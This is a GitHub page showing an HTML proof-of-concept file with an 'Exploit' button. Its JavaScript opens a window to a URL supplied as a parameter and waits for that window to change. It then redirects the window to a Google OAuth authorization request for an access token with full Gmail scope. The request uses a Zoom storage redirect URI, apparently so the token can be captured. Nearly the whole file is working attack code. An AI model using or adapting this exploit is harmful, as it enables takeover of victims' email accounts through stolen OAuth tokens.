-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
71 lines (63 loc) · 2.01 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<!DOCTYPE html>
<html>
<head>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
background-color: #f2f2f2;
}
img {
width: 400px;
height: 500px;
object-fit: contain;
}
button {
padding: 10px 20px;
background-color: #4caf50;
color: white;
border: none;
cursor: pointer;
}
</style>
<script>
// Get the URL parameter
function getParameterByName(name, url) {
if (!url) url = window.location.href;
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),
results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
let foo;
let baselength;
var urlParam = getParameterByName('url');
function init() {
baselength = foo.length;
console.log("Setting base to " + baselength);
watch();
}
function watch() {
if (foo.length != baselength) {
console.log("baselength: " + baselength);
console.log("foo.length " + foo.length);
console.log('Google navigation');
foo.location.replace("https://accounts.google.com/o/oauth2/v2/auth?client_id=634162799581-m3k321ek5c545vmakcvpdti2nf3vg1th.apps.googleusercontent.com&redirect_uri=https://applications.zoom.us/r/storage/VkVSU046MDAwxllacFGhSCixxyrtt_X29mPRKz1_HO8aC6fO6casoRtn3P-70K8l57U9fdVHq5ahkkhVPpz-_Uf4nvrxijz420GHgRdlIr-LkWdoiD1Ez7m2-m5wmRh9jm8niitzkg&response_type=token&scope=https%3A%2F%2Fmail.google.com%2F");
}else{
setTimeout(watch,10);
}
}
function launch(){
foo = window.open(urlParam, "foo", "");
setTimeout(init,1800);
}
</script>
</head>
<body>
</br>
<button onclick="launch()">Exploit</button>
</body>
</html>